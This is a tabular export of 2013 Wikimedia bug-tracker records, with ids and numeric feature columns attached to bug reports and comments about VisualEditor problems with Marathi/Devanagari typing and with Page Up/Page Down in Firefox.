239691,[EPIC] Use Parsoid HTML for all page views,*** Bug 53780 has been marked as a duplicate of this bug. ***,,,1378338206,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53780 has been marked as a duplicate of this bug. ***
55758,Visualditor: Marathi/Devanagari: edit change not reflecting in edit preview,"*Problem Description:Where text is already present,Along with any of above problems, Some times edited aspect is shown in edit window but does not reflect in edit preview 

**Additional Details : Probably problem arises when we insert any additional charecters or word between two existing words in a sentence.


I suppose this would be easy to reproduce screen shot & will do it soon.


* Steps to reproduce:
1. Go to existing page with considerable Marathi Devnagari text may be like
https://mr.wikipedia.org/wiki/अभिमन्यु

2. Go to माझ्या पसंती (Preferences), संपादन and enable last option:
यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this
enables VisualEditor
3. Click cog next to इतर भाषांमध्ये
4. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण

5. Select any random  two marathi word from existing paragraph text 

6. insert any additional charecters or word between two existing words in a sentence.

**Problem is not always but frequent .Tested on Win7 +Firefox

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1378310460,1381270232.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-sudk6gs3gu276aszhg6w,task_description,resolved,True,c1,3,False,False,False,9,,2.0,0.0,0.0,0.3333333333333333,0.6666666666666666,6.0,1.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,3.6666666666666665,7.333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,3.3333333333333335,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,13.666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,9.0,0.6666666666666666,2.3333333333333335,3.3333333333333335,0.0,0.0,0.0,0.0,5.0,0.0,3.6666666666666665,0.0,1.0,7.333333333333333,4.666666666666667,0.0,0.0,0.0,1.0,0.0,0.6666666666666666,0.6666666666666666,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,4.1376204972095385,0.7886859462201928,"*Problem Description:Where text is already present,Along with any of above problems, Some times edited aspect is shown in edit window but does not reflect in edit preview 

**Additional Details : Probably problem arises when we insert any additional charecters or word between two existing words in a sentence.


I suppose this would be easy to reproduce screen shot & will do it soon.


* Steps to reproduce:
1. Go to existing page with considerable Marathi Devnagari text may be like
URL

2. Go to माझ्या पसंती (Preferences), संपादन and enable last option:
यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this
enables VisualEditor
3. Click cog next to इतर भाषांमध्ये
4. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण

5. Select any random  two marathi word from existing paragraph text 

6. insert any additional charecters or word between two existing words in a sentence.

**Problem is not always but frequent .Tested on Win7 +Firefox

--------------------------
**Version**: unspecified
**Severity**: major"
237966,Visualditor: Marathi/Devanagari: edit change not reflecting in edit preview,"Based on your comments, I'm marking this as FIXED - please check, and reopen if it's not!",,,1381270232,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sudk6gs3gu276aszhg6w,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,14.0,14.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.3181818181818183,0.9545454545454546,"Based on your comments, I'm marking this as FIXED - please check, and reopen if it's not!"
237960,Visualditor: Marathi/Devanagari: edit change not reflecting in edit preview,"*Done first round of testing seems to have solved but since problem is not frequent one for final confirmation we will need to have more tests and time.

Thanks and regards",,,1379660392,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-sudk6gs3gu276aszhg6w,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.205882352941177,0.9117647058823529,"*Done first round of testing seems to have solved but since problem is not frequent one for final confirmation we will need to have more tests and time.

Thanks and regards"
237952,Visualditor: Marathi/Devanagari: edit change not reflecting in edit preview,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378943075,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-sudk6gs3gu276aszhg6w,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
237945,Visualditor: Marathi/Devanagari: edit change not reflecting in edit preview,Usually this problem does not come in isolation but comes when some other problems are happening reported in earlier bugs for Marathi/Devnagri but it is defficult to specify that the problem will come when exactly a specific other problem is existent.May need more observation to notify exact time of ocurrance.,,,1378310693,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-sudk6gs3gu276aszhg6w,task_subcomment,,True,c1,3,False,,,9,,2.0,0.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,7.0,5.0,4.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,13.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,2.0,4.0,0.0,0.0,4.763636363636364,0.8181818181818182,Usually this problem does not come in isolation but comes when some other problems are happening reported in earlier bugs for Marathi/Devnagri but it is defficult to specify that the problem will come when exactly a specific other problem is existent.May need more observation to notify exact time of ocurrance.
55757,VisualEditor: Marathi/Devanagari: Backpace deletes  text on right side,"*Problem description : spell correction of any word eats up text (with continuous motion) on right side until you press spacebar 

**Additional Details: The problem is quite frequent but not always.Observed specially when we give backpace and add up more charecters to the word than earlier length of of the word  

* Steps to reproduce:
1. Go to existing page with considerable Marathi Devnagari text may be like https://mr.wikipedia.org/wiki/अभिमन्यु

2. Go to माझ्या पसंती (Preferences), संपादन and enable last option:
यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this
enables VisualEditor
3. Click cog next to इतर भाषांमध्ये
4. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण

5. Select any random  marathi word from text 

6. delet few charecters with backspace

7. Add few new marathi charectes to the word

8. If the problem is not observed in single effort try spell corrections again in some other words 


*VisualEditor+ULS Method of input = अक्षरांतरण language=Marathi 
Script=Devanagari  (Non-VE source edit environ,ULS Method of input = अक्षरांतरण
works normal   

*Tested Browser and OS =Firefox+Win7

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51472",High,80.0,1378309560,1385507002.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-r65cbq4ixbupvjwfesjt,task_description,resolved,True,c1,3,False,False,False,9,,1.6666666666666667,0.0,0.0,0.3333333333333333,0.6666666666666666,6.666666666666667,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,9.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.3333333333333335,1.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,1.0,13.0,0.6666666666666666,1.3333333333333333,3.0,0.0,0.0,0.0,0.0,5.0,0.0,2.6666666666666665,0.0,0.6666666666666666,9.0,11.333333333333334,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,1.0,4.042635658914729,0.7286821705426356,"*Problem description : spell correction of any word eats up text (with continuous motion) on right side until you press spacebar 

**Additional Details: The problem is quite frequent but not always.Observed specially when we give backpace and add up more charecters to the word than earlier length of of the word  

* Steps to reproduce:
1. Go to existing page with considerable Marathi Devnagari text may be like URL

2. Go to माझ्या पसंती (Preferences), संपादन and enable last option:
यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this
enables VisualEditor
3. Click cog next to इतर भाषांमध्ये
4. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण

5. Select any random  marathi word from text 

6. delet few charecters with backspace

7. Add few new marathi charectes to the word

8. If the problem is not observed in single effort try spell corrections again in some other words 


*VisualEditor+ULS Method of input = अक्षरांतरण language=Marathi 
Script=Devanagari  (Non-VE source edit environ,ULS Method of input = अक्षरांतरण
works normal   

*Tested Browser and OS =Firefox+Win7

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
237895,VisualEditor: Marathi/Devanagari: Backpace deletes  text on right side,"Change 80689 merged by jenkins-bot:
Revert model to use simple UTF-16 code units

https://gerrit.wikimedia.org/r/80689",,,1385506396,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-r65cbq4ixbupvjwfesjt,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2631578947368425,1.0,"Change 80689 merged by jenkins-bot:
Revert model to use simple UTF-16 code units

GERRIT_URL"
237888,VisualEditor: Marathi/Devanagari: Backpace deletes  text on right side,"Change 80689 had a related patch set uploaded by Divec:
Revert model to use simple UTF-16 code units

https://gerrit.wikimedia.org/r/80689",,,1384940647,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-r65cbq4ixbupvjwfesjt,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,1.0,"Change 80689 had a related patch set uploaded by Divec:
Revert model to use simple UTF-16 code units

GERRIT_URL"
237881,VisualEditor: Marathi/Devanagari: Backpace deletes  text on right side,"Hello,

Would it be possible to test this against current master? You can use this at
http://en.wikipedia.beta.wmflabs.org/ - we believe that we may have fixed the
issues (or, at least, changed the behaviour) since you tested it.

Thank you!",,,1381270119,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-r65cbq4ixbupvjwfesjt,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,2.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,4.0,2.0,8.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,14.0,12.0,0.0,2.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.392156862745098,0.803921568627451,"Hello,

Would it be possible to test this against current master? You can use this at
URL - we believe that we may have fixed the
issues (or, at least, changed the behaviour) since you tested it.

Thank you!"
237873,VisualEditor: Marathi/Devanagari: Backpace deletes  text on right side,"(In reply to comment #1)

*Did one round of test at my user page on media wiki https://www.mediawiki.org/wiki/User:Mahitgar 

Seems to get partially fixed with some different wierdness in some other case so will need more tests and time to confirm


Rgds",,,1379657853,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-r65cbq4ixbupvjwfesjt,task_subcomment,,True,c1,3,False,,,11,,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,19.0,0.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,8.0,0.0,4.0,0.0,2.0,19.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.6458333333333335,0.9166666666666666,"(In reply to comment #1)

*Did one round of test at my user page on media wiki URL 

Seems to get partially fixed with some different wierdness in some other case so will need more tests and time to confirm


Rgds"
237867,VisualEditor: Marathi/Devanagari: Backpace deletes  text on right side,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378943063,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-r65cbq4ixbupvjwfesjt,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
55750,VisualEditor: Page down and page up not working as expected in Firefox,"an IP editor at en.wp reports:
""At any given page, as long the edit box is selected (with the cursor blinking) pressing 'page down' or 'page up' takes you to the end of the page. Firefox 23.0, Linux Mint.""
The example page they gave was [[Jet Lee]]

Using Firefox 23 on Xubuntu linux with the monobook skin I am unable to duplicate that behaviour, but:
At [[Jet Lee]] and [[User:Thryduulf/sandbox2]]: pressing page down or page up works as expected once but then does nothing. I then click anywhere in the body and again one of them works once, and then not until I click. However, once I've viewed the end of the page it expected. 

At [[User:Thryduulf/sandbox]] and [[Timbuktu]] it works as expected from the start. 

At [[Nigeria]] I saw the same behaviour as at [[Jet Lee]] but when I returned to the top of the page it went back to working only once.

At [[Great Balls of Fire]] page down worked once, then didn't. I clicked and it worked as expected subsequently.

At [[Malvern Link]] I saw the same as at [[Nigeria]], but after pressing page up both page up and page down then worked as expected.

I'm struggling to see any pattern.

Bug 33047 was suggested as having potential relevance, but that was fixed in October 2012 so my gut feeling is that its unlikely.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51957
https://bugzilla.wikimedia.org/show_bug.cgi?id=50726",High,80.0,1378300380,1399419475.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-bl2j543fwlnzihaohpzu,task_description,resolved,True,c1,3,False,False,False,9,,0.5,0.0,0.0,0.75,0.5,2.25,0.5,0.0,0.0,0.0,2.75,1.75,0.0,0.25,0.0,2.5,0.25,5.75,11.0,0.25,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.25,2.75,2.75,1.25,0.5,0.25,0.0,0.0,0.5,0.25,0.0,0.5,1.75,0.5,0.0,0.25,0.0,0.0,0.0,10.75,0.25,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.5,12.75,0.75,3.25,5.0,0.0,0.0,0.0,0.0,1.25,0.0,1.25,0.0,4.5,11.0,5.0,0.0,1.5,0.0,4.5,0.0,0.25,0.25,0.25,2.0,0.0,0.0,6.0,3.2806948798328106,0.6070728840125392,"an IP editor at en.wp reports:
""At any given page, as long the edit box is selected (with the cursor blinking) pressing 'page down' or 'page up' takes you to the end of the page. Firefox 23.0, Linux Mint.""
The example page they gave was [[Jet Lee]]

Using Firefox 23 on Xubuntu linux with the monobook skin I am unable to duplicate that behaviour, but:
At [[Jet Lee]] and [[User:Thryduulf/sandbox2]]: pressing page down or page up works as expected once but then does nothing. I then click anywhere in the body and again one of them works once, and then not until I click. However, once I've viewed the end of the page it expected. 

At [[User:Thryduulf/sandbox]] and [[Timbuktu]] it works as expected from the start. 

At [[Nigeria]] I saw the same behaviour as at [[Jet Lee]] but when I returned to the top of the page it went back to working only once.

At [[Great Balls of Fire]] page down worked once, then didn't. I clicked and it worked as expected subsequently.

At [[Malvern Link]] I saw the same as at [[Nigeria]], but after pressing page up both page up and page down then worked as expected.

I'm struggling to see any pattern.

Bug 33047 was suggested as having potential relevance, but that was fixed in October 2012 so my gut feeling is that its unlikely.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
237423,VisualEditor: Page down and page up not working as expected in Firefox,"AFAICT this is now works in Firefox since the Firefox-related CE fixes, though there are some oddities generally about Page Up / Page Down. Closing as such for now, but happy to re-open if I've missed something.",,,1399419475,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bl2j543fwlnzihaohpzu,task_subcomment,,True,c1,3,True,,,44,,2.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,9.0,22.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,22.0,7.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,22.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8043478260869565,0.8695652173913043,"AFAICT this is now works in Firefox since the Firefox-related CE fixes, though there are some oddities generally about Page Up / Page Down. Closing as such for now, but happy to re-open if I've missed something."
237419,VisualEditor: Page down and page up not working as expected in Firefox,"I am able to reproduce this on Firefox 24/Linux.
Page down on the following articles jumps to the bottom of the article, irrespective of where the cursor is placed.  Even stranger, page up also goes to the bottom of the article.
https://en.wikipedia.org/wiki/Nigeria?veaction=edit
https://en.wikipedia.org/wiki/Great_Balls_of_Fire?veaction=edit

The problematic behaviour doesnt happen on simpler articles like
https://en.wikipedia.org/w/index.php?title=Walter_T._Downing&veaction=edit
https://en.wikipedia.org/w/index.php?title=Sienno,_W%C4%85growiec_County&veaction=edit

Bug 51957 is another Firefox only keyboard navigation problem.",,,1381625305,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-bl2j543fwlnzihaohpzu,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,1.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,8.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,15.0,1.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,15.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,3.9875,0.65,"I am able to reproduce this on Firefox 24/Linux.
Page down on the following articles jumps to the bottom of the article, irrespective of where the cursor is placed.  Even stranger, page up also goes to the bottom of the article.
URL
URL

The problematic behaviour doesnt happen on simpler articles like
URL
URL

Bug 51957 is another Firefox only keyboard navigation problem."
237415,VisualEditor: Page down and page up not working as expected in Firefox,"Germanjoe comments suggests it may be related to problems establishing cursor position relative to templates:

""Maybe a related error occured, while testing in [[Nigeria]], Firefox 23, mono. Enter VE-mode and click below one of the huge (really huge) navbox farms at the end of the article (in the blank line below them). Now i made two tests:

Click ""Page up"" => OK, scrolls up as expected. 
Now click ""Page up"" again => ERROR, jumps down to the initial position below the navbox.
        
another test from the same initial position below the huge navbox: 
""Page up"", then ""Page down"", then ""Page up"" and a second ""Page up"" => works OK.

If i had to guess (uneducated as always), it looks like VE has problems storing or establishing the cursor position while scrolling through some huge or complex templates. """,,,1378382011,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-bl2j543fwlnzihaohpzu,task_subcomment,,True,c1,3,False,,,9,,0.5,0.0,0.0,0.5,0.0,8.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,1.0,1.0,4.0,15.0,0.0,0.5,0.0,1.0,0.0,1.5,0.0,0.0,2.0,0.5,0.0,1.0,3.0,2.0,1.0,1.0,0.0,0.0,0.0,3.0,0.5,0.0,0.5,1.5,2.5,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,5.5,0.5,10.5,1.5,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,2.5,15.0,3.0,0.0,7.5,0.0,2.5,0.0,0.0,1.0,0.5,2.5,0.0,0.0,3.0,3.598096304591265,0.6663493840985443,"Germanjoe comments suggests it may be related to problems establishing cursor position relative to templates:

""Maybe a related error occured, while testing in [[Nigeria]], Firefox 23, mono. Enter VE-mode and click below one of the huge (really huge) navbox farms at the end of the article (in the blank line below them). Now i made two tests:

Click ""Page up"" => OK, scrolls up as expected. 
Now click ""Page up"" again => ERROR, jumps down to the initial position below the navbox.
        
another test from the same initial position below the huge navbox: 
""Page up"", then ""Page down"", then ""Page up"" and a second ""Page up"" => works OK.

If i had to guess (uneducated as always), it looks like VE has problems storing or establishing the cursor position while scrolling through some huge or complex templates. """
237409,VisualEditor: Page down and page up not working as expected in Firefox,"It's Windows 7, sorry. I am also the original reporter of the related bug 52445, whose effect is also being kicked to the end of the edit box and Firefox only.",,,1378302842,,PHID-USER-qlrpm27qlsmjh2pg65bg,False,,,PHID-TASK-bl2j543fwlnzihaohpzu,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,11.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,8.0,8.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.8055555555555556,"It's Windows 7, sorry. I am also the original reporter of the related bug 52445, whose effect is also being kicked to the end of the edit box and Firefox only."
